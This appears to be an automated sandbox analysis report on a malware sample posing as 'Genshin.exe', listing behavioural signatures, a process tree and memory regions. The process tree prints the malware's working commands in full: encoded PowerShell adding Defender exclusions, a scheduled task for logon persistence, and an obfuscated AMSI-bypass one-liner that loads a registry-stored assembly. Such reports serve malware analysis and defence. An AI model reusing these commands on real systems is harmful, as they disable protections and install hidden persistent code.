Analysis

  • max time kernel
    46s
  • max time network
    94s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-en-20220112
  • submitted
    27/02/2022, 08:45

General

  • Target
    Genshin.exe
  • Size 80KB
  • Sample220227-knqvasdcen
  • SHA256 c4a3e2b23472bb3b960a8dc1266a2fb1e97238f975957e29c0dd497f632c2cb0
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Signatures

  • Suspicious use of NtCreateProcessExOtherParentProcess 5 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
  • suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01

    suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01

  • suricata: ET MALWARE JS/Nemucod.M.gen downloading EXE payload

    suricata: ET MALWARE JS/Nemucod.M.gen downloading EXE payload

  • Downloads MZ/PE file
  • Executes dropped EXE 4 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 5 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 6 IoCs
  • Checks processor information in registry 2 TTPs 19 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 12 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\lsass.exe
    C:\Windows\system32\lsass.exe
    1⤵
      PID:672
    • C:\Windows\system32\winlogon.exe
      winlogon.exe
      1⤵
        PID:620
        • C:\Windows\system32\dwm.exe
          "dwm.exe"
          2⤵
            PID:992
            • C:\Windows\system32\WerFault.exe
              C:\Windows\system32\WerFault.exe -u -p 992 -s 3312
              3⤵
              • Program crash
              PID:3004
          • C:\Windows\System32\dllhost.exe
            C:\Windows\System32\dllhost.exe /Processid:{bf16c2e3-ef8f-4258-a300-29c6c811aa82}
            2⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:3620
          • C:\Windows\system32\WerFault.exe
            C:\Windows\system32\WerFault.exe -u -p 620 -s 424
            2⤵
            • Program crash
            • Checks processor information in registry
            • Enumerates system info in registry
            • Suspicious behavior: EnumeratesProcesses
            PID:1216
        • C:\Windows\System32\RuntimeBroker.exe
          C:\Windows\System32\RuntimeBroker.exe -Embedding
          1⤵
            PID:2964
          • C:\Windows\system32\svchost.exe
            C:\Windows\system32\svchost.exe -k LocalService
            1⤵
              PID:2244
            • C:\Windows\system32\svchost.exe
              C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p
              1⤵
                PID:1248
              • C:\Windows\System32\mousocoreworker.exe
                C:\Windows\System32\mousocoreworker.exe -Embedding
                1⤵
                  PID:3788
                • C:\Windows\System32\svchost.exe
                  C:\Windows\System32\svchost.exe -k netsvcs -p
                  1⤵
                    PID:4040
                  • C:\Windows\System32\RuntimeBroker.exe
                    C:\Windows\System32\RuntimeBroker.exe -Embedding
                    1⤵
                      PID:4060
                    • C:\Windows\system32\SppExtComObj.exe
                      C:\Windows\system32\SppExtComObj.exe -Embedding
                      1⤵
                        PID:3912
                      • C:\Windows\System32\RuntimeBroker.exe
                        C:\Windows\System32\RuntimeBroker.exe -Embedding
                        1⤵
                          PID:3608
                        • C:\Windows\System32\RuntimeBroker.exe
                          C:\Windows\System32\RuntimeBroker.exe -Embedding
                          1⤵
                            PID:3100
                          • C:\Windows\system32\DllHost.exe
                            C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                            1⤵
                              PID:2812
                              • C:\Windows\system32\WerFault.exe
                                C:\Windows\system32\WerFault.exe -u -p 2812 -s 400
                                2⤵
                                • Program crash
                                PID:3484
                            • C:\Windows\system32\DllHost.exe
                              C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                              1⤵
                                PID:2724
                                • C:\Windows\system32\WerFault.exe
                                  C:\Windows\system32\WerFault.exe -u -p 2724 -s 968
                                  2⤵
                                  • Program crash
                                  PID:2608
                              • C:\Windows\system32\svchost.exe
                                C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p
                                1⤵
                                  PID:2520
                                • C:\Windows\Explorer.EXE
                                  C:\Windows\Explorer.EXE
                                  1⤵
                                  • Suspicious use of SetWindowsHookEx
                                  PID:2428
                                  • C:\Users\Admin\AppData\Local\Temp\Genshin.exe
                                    "C:\Users\Admin\AppData\Local\Temp\Genshin.exe"
                                    2⤵
                                    • Checks computer location settings
                                    • Suspicious use of AdjustPrivilegeToken
                                    • Suspicious use of WriteProcessMemory
                                    PID:3260
                                    • C:\Users\Admin\AppData\Local\Temp\del2d1c3dff2c7d7e18a\Antimalware.exe
                                      "C:\Users\Admin\AppData\Local\Temp\del2d1c3dff2c7d7e18a\Antimalware.exe"
                                      3⤵
                                      • Executes dropped EXE
                                      PID:2156
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -u -p 2156 -s 472
                                        4⤵
                                        • Program crash
                                        • Checks processor information in registry
                                        • Enumerates system info in registry
                                        • Suspicious behavior: EnumeratesProcesses
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:3908
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -u -p 2156 -s 480
                                        4⤵
                                        • Program crash
                                        • Checks processor information in registry
                                        • Enumerates system info in registry
                                        • Suspicious behavior: EnumeratesProcesses
                                        PID:3476
                                    • C:\Users\Admin\AppData\Local\Temp\del2d1c3dff2c7d7e18a\System.exe
                                      "C:\Users\Admin\AppData\Local\Temp\del2d1c3dff2c7d7e18a\System.exe"
                                      3⤵
                                      • Executes dropped EXE
                                      • Suspicious use of SetThreadContext
                                      • Suspicious behavior: EnumeratesProcesses
                                      • Suspicious use of AdjustPrivilegeToken
                                      • Suspicious use of WriteProcessMemory
                                      PID:3716
                                      • C:\Windows\SYSTEM32\cmd.exe
                                        "cmd" cmd /c powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA" & powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA=" & exit
                                        4⤵
                                        • Suspicious use of WriteProcessMemory
                                        PID:364
                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                          powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA"
                                          5⤵
                                          • Suspicious behavior: EnumeratesProcesses
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:3340
                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                          powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA="
                                          5⤵
                                          • Suspicious behavior: EnumeratesProcesses
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:3860
                                      • C:\Windows\System32\nslookup.exe
                                        C:\Windows\System32\nslookup.exe
                                        4⤵
                                        • Drops file in Windows directory
                                        PID:1340
                                      • C:\Windows\SYSTEM32\cmd.exe
                                        "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "System" /tr "C:\Users\Admin\Windows\System.exe"
                                        4⤵
                                        • Suspicious use of WriteProcessMemory
                                        PID:524
                                        • C:\Windows\system32\schtasks.exe
                                          schtasks /create /f /sc onlogon /rl highest /tn "System" /tr "C:\Users\Admin\Windows\System.exe"
                                          5⤵
                                          • Creates scheduled task(s)
                                          PID:3672
                                      • C:\Windows\SYSTEM32\cmd.exe
                                        "cmd" cmd /c "C:\Users\Admin\Windows\System.exe"
                                        4⤵
                                          PID:2832
                                          • C:\Users\Admin\Windows\System.exe
                                            C:\Users\Admin\Windows\System.exe
                                            5⤵
                                              PID:2416
                                        • C:\Users\Admin\AppData\Local\Temp\del2d1c3dff2c7d7e18a\Neverlose.exe
                                          "C:\Users\Admin\AppData\Local\Temp\del2d1c3dff2c7d7e18a\Neverlose.exe"
                                          3⤵
                                          • Executes dropped EXE
                                          PID:3404
                                    • C:\Windows\system32\taskhostw.exe
                                      taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
                                      1⤵
                                        PID:2284
                                      • C:\Windows\system32\svchost.exe
                                        C:\Windows\system32\svchost.exe -k UnistackSvcGroup
                                        1⤵
                                          PID:2232
                                        • C:\Windows\system32\sihost.exe
                                          sihost.exe
                                          1⤵
                                            PID:2216
                                          • C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
                                            "C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
                                            1⤵
                                              PID:1232
                                            • C:\Windows\system32\svchost.exe
                                              C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p
                                              1⤵
                                                PID:2000
                                              • C:\Windows\System32\svchost.exe
                                                C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
                                                1⤵
                                                  PID:1836
                                                • C:\Windows\System32\spoolsv.exe
                                                  C:\Windows\System32\spoolsv.exe
                                                  1⤵
                                                    PID:1680
                                                  • C:\Windows\system32\svchost.exe
                                                    C:\Windows\system32\svchost.exe -k appmodel -p
                                                    1⤵
                                                      PID:1600
                                                    • C:\Windows\System32\svchost.exe
                                                      C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                      1⤵
                                                        PID:1568
                                                      • C:\Windows\System32\svchost.exe
                                                        C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                        1⤵
                                                          PID:1452
                                                        • C:\Windows\System32\svchost.exe
                                                          C:\Windows\System32\svchost.exe -k NetworkService -p
                                                          1⤵
                                                            PID:1384
                                                          • C:\Windows\system32\svchost.exe
                                                            C:\Windows\system32\svchost.exe -k LocalService -p
                                                            1⤵
                                                              PID:1176
                                                            • C:\Windows\System32\svchost.exe
                                                              C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p
                                                              1⤵
                                                                PID:1044
                                                              • C:\Windows\System32\svchost.exe
                                                                C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                                1⤵
                                                                • Drops file in System32 directory
                                                                PID:740
                                                              • C:\Windows\system32\svchost.exe
                                                                C:\Windows\system32\svchost.exe -k netsvcs -p
                                                                1⤵
                                                                • Suspicious use of AdjustPrivilegeToken
                                                                PID:488
                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:xzonMiydyGzm{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$xrhExMnIPoJPBE,[Parameter(Position=1)][Type]$WIACmIMqow)$LAiFtuJvxeR=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('ReflectedDelegate')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMe'+'mory'+'Module',$False).DefineType('MyDelegateType','Class,Public,Sealed,AnsiClass,AutoClass',[MulticastDelegate]);$LAiFtuJvxeR.DefineConstructor('RTSpecialName,HideBySig,Public',[Reflection.CallingConventions]::Standard,$xrhExMnIPoJPBE).SetImplementationFlags('Runtime,Managed');$LAiFtuJvxeR.DefineMethod('Invoke','Public,HideBySig,NewSlot,Virtual',$WIACmIMqow,$xrhExMnIPoJPBE).SetImplementationFlags('Runtime,Managed');Write-Output $LAiFtuJvxeR.CreateType();}$ZBizfgdMnEbHC=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll')}).GetType('Microsoft.Win32.'+'Uns'+'afeNat'+'iveMetho'+'ds');$pctLfjosteCTBb=$ZBizfgdMnEbHC.GetMethod('Ge'+'tPr'+'ocAdd'+'ress',[Reflection.BindingFlags]'Public,Static',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$vsEWMysmZbePzfewOsa=xzonMiydyGzm @([String])([IntPtr]);$VbyBvCtTCXljdszXSdDKZY=xzonMiydyGzm @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$fTdtnACqnnD=$ZBizfgdMnEbHC.GetMethod('Get'+'Modu'+'leHan'+'dle').Invoke($Null,@([Object]('kern'+'el'+'32.dll')));$fzBKiByxWhdyUQ=$pctLfjosteCTBb.Invoke($Null,@([Object]$fTdtnACqnnD,[Object]('Load'+'LibraryA')));$IOtUQQuJOtgPTAdhH=$pctLfjosteCTBb.Invoke($Null,@([Object]$fTdtnACqnnD,[Object]('Vir'+'tual'+'Pro'+'tect')));$tNBhlax=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($fzBKiByxWhdyUQ,$vsEWMysmZbePzfewOsa).Invoke('a'+'m'+'si.dll');$vmuoADkeTzxpAEaLc=$pctLfjosteCTBb.Invoke($Null,@([Object]$tNBhlax,[Object]('Ams'+'iSc'+'an'+'Buffer')));$iNWOUGCTGy=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IOtUQQuJOtgPTAdhH,$VbyBvCtTCXljdszXSdDKZY).Invoke($vmuoADkeTzxpAEaLc,[uint32]8,4,[ref]$iNWOUGCTGy);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$vmuoADkeTzxpAEaLc,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IOtUQQuJOtgPTAdhH,$VbyBvCtTCXljdszXSdDKZY).Invoke($vmuoADkeTzxpAEaLc,[uint32]8,0x20,[ref]$iNWOUGCTGy);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SOFTWARE').GetValue('nslookstager')).EntryPoint.Invoke($Null,$Null)"
                                                                  2⤵
                                                                  • Suspicious use of NtCreateUserProcessOtherParentProcess
                                                                  • Drops file in System32 directory
                                                                  • Suspicious use of SetThreadContext
                                                                  • Modifies data under HKEY_USERS
                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                  • Suspicious use of WriteProcessMemory
                                                                  PID:2032
                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE
                                                                  C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:UtntHzfaVjEN{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$QuElVAJXMzBWAf,[Parameter(Position=1)][Type]$GPEjhqsdzT)$AFDGikyUpwn=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('ReflectedDelegate')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMe'+'mory'+'Module',$False).DefineType('MyDelegateType','Class,Public,Sealed,AnsiClass,AutoClass',[MulticastDelegate]);$AFDGikyUpwn.DefineConstructor('RTSpecialName,HideBySig,Public',[Reflection.CallingConventions]::Standard,$QuElVAJXMzBWAf).SetImplementationFlags('Runtime,Managed');$AFDGikyUpwn.DefineMethod('Invoke','Public,HideBySig,NewSlot,Virtual',$GPEjhqsdzT,$QuElVAJXMzBWAf).SetImplementationFlags('Runtime,Managed');Write-Output $AFDGikyUpwn.CreateType();}$FfqNoOYhlfRXQ=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll')}).GetType('Microsoft.Win32.'+'Uns'+'afeNat'+'iveMetho'+'ds');$OeymAshyMzblBy=$FfqNoOYhlfRXQ.GetMethod('Ge'+'tPr'+'ocAdd'+'ress',[Reflection.BindingFlags]'Public,Static',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$EqVeoxtIbEjtXeLqIQH=UtntHzfaVjEN @([String])([IntPtr]);$doqkQHkCOSSiWuXkUlqndm=UtntHzfaVjEN @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$WgyVRITamis=$FfqNoOYhlfRXQ.GetMethod('Get'+'Modu'+'leHan'+'dle').Invoke($Null,@([Object]('kern'+'el'+'32.dll')));$lUMUefdtHgBpYK=$OeymAshyMzblBy.Invoke($Null,@([Object]$WgyVRITamis,[Object]('Load'+'LibraryA')));$GLQnPONrHphqHFYAo=$OeymAshyMzblBy.Invoke($Null,@([Object]$WgyVRITamis,[Object]('Vir'+'tual'+'Pro'+'tect')));$vfQPLim=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($lUMUefdtHgBpYK,$EqVeoxtIbEjtXeLqIQH).Invoke('a'+'m'+'si.dll');$oxefDdgCEIVVsUIWM=$OeymAshyMzblBy.Invoke($Null,@([Object]$vfQPLim,[Object]('Ams'+'iSc'+'an'+'Buffer')));$iXVOvffRbT=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GLQnPONrHphqHFYAo,$doqkQHkCOSSiWuXkUlqndm).Invoke($oxefDdgCEIVVsUIWM,[uint32]8,4,[ref]$iXVOvffRbT);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$oxefDdgCEIVVsUIWM,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GLQnPONrHphqHFYAo,$doqkQHkCOSSiWuXkUlqndm).Invoke($oxefDdgCEIVVsUIWM,[uint32]8,0x20,[ref]$iXVOvffRbT);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SOFTWARE').GetValue('nslookstager')).EntryPoint.Invoke($Null,$Null)"
                                                                  2⤵
                                                                  • Modifies data under HKEY_USERS
                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                  PID:2464
                                                                  • C:\Windows\System32\Conhost.exe
                                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                    3⤵
                                                                      PID:3704
                                                                  • C:\Windows\system32\wbem\WMIADAP.EXE
                                                                    wmiadap.exe /F /T /R
                                                                    2⤵
                                                                      PID:3752
                                                                    • C:\Windows\system32\sihost.exe
                                                                      sihost.exe
                                                                      2⤵
                                                                        PID:1408
                                                                      • C:\Windows\system32\sihost.exe
                                                                        sihost.exe
                                                                        2⤵
                                                                          PID:2764
                                                                        • C:\Windows\system32\sihost.exe
                                                                          sihost.exe
                                                                          2⤵
                                                                            PID:3544
                                                                          • C:\Windows\system32\sihost.exe
                                                                            sihost.exe
                                                                            2⤵
                                                                              PID:1888
                                                                            • C:\Windows\system32\sihost.exe
                                                                              sihost.exe
                                                                              2⤵
                                                                                PID:2840
                                                                              • C:\Windows\system32\sihost.exe
                                                                                sihost.exe
                                                                                2⤵
                                                                                  PID:4092
                                                                              • C:\Windows\System32\svchost.exe
                                                                                C:\Windows\System32\svchost.exe -k WerSvcGroup
                                                                                1⤵
                                                                                • Suspicious use of NtCreateUserProcessOtherParentProcess
                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                PID:3708
                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 2156 -ip 2156
                                                                                  2⤵
                                                                                  • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                  • Suspicious use of WriteProcessMemory
                                                                                  PID:876
                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 2156 -ip 2156
                                                                                  2⤵
                                                                                  • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                  • Suspicious use of WriteProcessMemory
                                                                                  PID:3776
                                                                                • C:\Windows\system32\WerFault.exe
                                                                                  C:\Windows\system32\WerFault.exe -pss -s 604 -p 2724 -ip 2724
                                                                                  2⤵
                                                                                  • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                  PID:3088
                                                                                • C:\Windows\system32\WerFault.exe
                                                                                  C:\Windows\system32\WerFault.exe -pss -s 596 -p 2812 -ip 2812
                                                                                  2⤵
                                                                                  • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                  PID:204
                                                                                • C:\Windows\system32\WerFault.exe
                                                                                  C:\Windows\system32\WerFault.exe -pss -s 580 -p 992 -ip 992
                                                                                  2⤵
                                                                                  • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                  PID:1860
                                                                                • C:\Windows\system32\WerFault.exe
                                                                                  C:\Windows\system32\WerFault.exe -pss -s 420 -p 620 -ip 620
                                                                                  2⤵
                                                                                    PID:2608
                                                                                • C:\Windows\system32\backgroundTaskHost.exe
                                                                                  "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
                                                                                  1⤵
                                                                                    PID:1640
                                                                                  • C:\Windows\System32\smss.exe
                                                                                    \SystemRoot\System32\smss.exe 000000e8 00000084
                                                                                    1⤵
                                                                                      PID:2812
                                                                                    • C:\Windows\System32\smss.exe
                                                                                      \SystemRoot\System32\smss.exe 000000d0 00000084
                                                                                      1⤵
                                                                                        PID:2812
                                                                                      • C:\Windows\System32\smss.exe
                                                                                        \SystemRoot\System32\smss.exe 000000e8 00000084
                                                                                        1⤵
                                                                                          PID:3004
                                                                                        • C:\Windows\System32\smss.exe
                                                                                          \SystemRoot\System32\smss.exe 000000e0 00000084
                                                                                          1⤵
                                                                                            PID:2608
                                                                                          • C:\Windows\System32\smss.exe
                                                                                            \SystemRoot\System32\smss.exe 000000e4 00000084
                                                                                            1⤵
                                                                                              PID:992
                                                                                            • C:\Windows\System32\smss.exe
                                                                                              \SystemRoot\System32\smss.exe 000000dc 00000084
                                                                                              1⤵
                                                                                                PID:2724
                                                                                              • C:\Windows\System32\smss.exe
                                                                                                \SystemRoot\System32\smss.exe 000000f0 00000084
                                                                                                1⤵
                                                                                                  PID:2812
                                                                                                • C:\Windows\System32\smss.exe
                                                                                                  \SystemRoot\System32\smss.exe 000000e4 00000084
                                                                                                  1⤵
                                                                                                    PID:3004
                                                                                                  • C:\Windows\System32\smss.exe
                                                                                                    \SystemRoot\System32\smss.exe 000000d8 00000084
                                                                                                    1⤵
                                                                                                      PID:3484
                                                                                                    • C:\Windows\System32\smss.exe
                                                                                                      \SystemRoot\System32\smss.exe 000000d4 00000084
                                                                                                      1⤵
                                                                                                        PID:2724
                                                                                                      • C:\Windows\System32\smss.exe
                                                                                                        \SystemRoot\System32\smss.exe 000000d8 00000084
                                                                                                        1⤵
                                                                                                          PID:2832
                                                                                                        • C:\Windows\System32\smss.exe
                                                                                                          \SystemRoot\System32\smss.exe 000000d0 00000084
                                                                                                          1⤵
                                                                                                            PID:2832
                                                                                                          • C:\Windows\System32\smss.exe
                                                                                                            \SystemRoot\System32\smss.exe 000000d8 00000084
                                                                                                            1⤵
                                                                                                              PID:2724
                                                                                                            • C:\Windows\System32\smss.exe
                                                                                                              \SystemRoot\System32\smss.exe 000000e0 00000084
                                                                                                              1⤵
                                                                                                                PID:1576
                                                                                                              • C:\Windows\System32\smss.exe
                                                                                                                \SystemRoot\System32\smss.exe 000000f0 00000084
                                                                                                                1⤵
                                                                                                                  PID:620
                                                                                                                • C:\Windows\System32\smss.exe
                                                                                                                  \SystemRoot\System32\smss.exe 000000d8 00000084
                                                                                                                  1⤵
                                                                                                                    PID:2812
                                                                                                                  • C:\Windows\System32\smss.exe
                                                                                                                    \SystemRoot\System32\smss.exe 000000dc 00000084
                                                                                                                    1⤵
                                                                                                                      PID:2812
                                                                                                                    • C:\Windows\System32\smss.exe
                                                                                                                      \SystemRoot\System32\smss.exe 000000e4 00000084
                                                                                                                      1⤵
                                                                                                                        PID:2812
                                                                                                                      • C:\Windows\System32\smss.exe
                                                                                                                        \SystemRoot\System32\smss.exe 00000108 00000084
                                                                                                                        1⤵
                                                                                                                        • Executes dropped EXE
                                                                                                                        PID:2416
                                                                                                                      • C:\Windows\System32\smss.exe
                                                                                                                        \SystemRoot\System32\smss.exe 000000ec 00000084
                                                                                                                        1⤵
                                                                                                                          PID:1408
                                                                                                                        • C:\Windows\System32\smss.exe
                                                                                                                          \SystemRoot\System32\smss.exe 00000120 00000084
                                                                                                                          1⤵
                                                                                                                            PID:2764

                                                                                                                          Network

                                                                                                                                MITRE ATT&CK Enterprise v6

                                                                                                                                Replay Monitor

                                                                                                                                Loading Replay Monitor...

                                                                                                                                Downloads

                                                                                                                                memory/204-255-0x00007FF7E7F90000-0x00007FF7E7FA0000-memory.dmp

                                                                                                                                memory/204-259-0x00000223E9320000-0x00000223E934A000-memory.dmp

                                                                                                                                memory/488-241-0x000001B0488F0000-0x000001B0488F4000-memory.dmp

                                                                                                                                memory/488-249-0x000001B0488C0000-0x000001B0488EA000-memory.dmp

                                                                                                                                memory/488-243-0x000001B0459E0000-0x000001B0459E1000-memory.dmp

                                                                                                                                memory/488-203-0x00007FF7E7F90000-0x00007FF7E7FA0000-memory.dmp

                                                                                                                                memory/488-247-0x000001B0459E0000-0x000001B0459E4000-memory.dmp

                                                                                                                                memory/488-231-0x000001B0488F0000-0x000001B0488F4000-memory.dmp

                                                                                                                                memory/488-236-0x000001B0459E0000-0x000001B0459E1000-memory.dmp

                                                                                                                                memory/620-238-0x00007FF827FAD000-0x00007FF827FAE000-memory.dmp

                                                                                                                                memory/620-232-0x000002A082870000-0x000002A082893000-memory.dmp

                                                                                                                                memory/620-234-0x000002A082900000-0x000002A08292A000-memory.dmp

                                                                                                                                memory/620-292-0x00007FF7E7F90000-0x00007FF7E7FA0000-memory.dmp

                                                                                                                                memory/672-201-0x00007FF7E7F90000-0x00007FF7E7FA0000-memory.dmp

                                                                                                                                memory/672-240-0x00007FF827FAD000-0x00007FF827FAE000-memory.dmp

                                                                                                                                memory/672-239-0x0000021C12960000-0x0000021C1298A000-memory.dmp

                                                                                                                                memory/672-242-0x00007FF827FAC000-0x00007FF827FAD000-memory.dmp

                                                                                                                                memory/672-244-0x00007FF827FAF000-0x00007FF827FB0000-memory.dmp

                                                                                                                                memory/740-204-0x00007FF7E7F90000-0x00007FF7E7FA0000-memory.dmp

                                                                                                                                memory/740-250-0x000001FD5A590000-0x000001FD5A5BA000-memory.dmp

                                                                                                                                memory/992-246-0x00007FF827FAF000-0x00007FF827FB0000-memory.dmp

                                                                                                                                memory/992-299-0x00007FF7E7F90000-0x00007FF7E7FA0000-memory.dmp

                                                                                                                                memory/992-245-0x000001D082070000-0x000001D08209A000-memory.dmp

                                                                                                                                memory/1044-205-0x00007FF7E7F90000-0x00007FF7E7FA0000-memory.dmp

                                                                                                                                memory/1044-251-0x0000023090BC0000-0x0000023090BEA000-memory.dmp

                                                                                                                                memory/1176-206-0x00007FF7E7F90000-0x00007FF7E7FA0000-memory.dmp

                                                                                                                                memory/1176-261-0x00000211E0FD0000-0x00000211E0FFA000-memory.dmp

                                                                                                                                memory/1216-257-0x0000018FDF9C0000-0x0000018FDF9EA000-memory.dmp

                                                                                                                                memory/1216-253-0x00007FF7E7F90000-0x00007FF7E7FA0000-memory.dmp

                                                                                                                                memory/1232-214-0x00007FF7E7F90000-0x00007FF7E7FA0000-memory.dmp

                                                                                                                                memory/1248-225-0x00007FF7E7F90000-0x00007FF7E7FA0000-memory.dmp

                                                                                                                                memory/1340-169-0x0000000140000000-0x0000000140057000-memory.dmp

                                                                                                                                memory/1340-170-0x0000000140000000-0x0000000140057000-memory.dmp

                                                                                                                                memory/1384-207-0x00007FF7E7F90000-0x00007FF7E7FA0000-memory.dmp

                                                                                                                                memory/1384-262-0x000001EB9B110000-0x000001EB9B13A000-memory.dmp

                                                                                                                                memory/1452-272-0x000001E6DB670000-0x000001E6DB69A000-memory.dmp

                                                                                                                                memory/1452-208-0x00007FF7E7F90000-0x00007FF7E7FA0000-memory.dmp

                                                                                                                                memory/1568-273-0x0000028A71A90000-0x0000028A71ABA000-memory.dmp

                                                                                                                                memory/1568-209-0x00007FF7E7F90000-0x00007FF7E7FA0000-memory.dmp

                                                                                                                                memory/1576-274-0x00007FF7E7F90000-0x00007FF7E7FA0000-memory.dmp

                                                                                                                                memory/1600-210-0x00007FF7E7F90000-0x00007FF7E7FA0000-memory.dmp

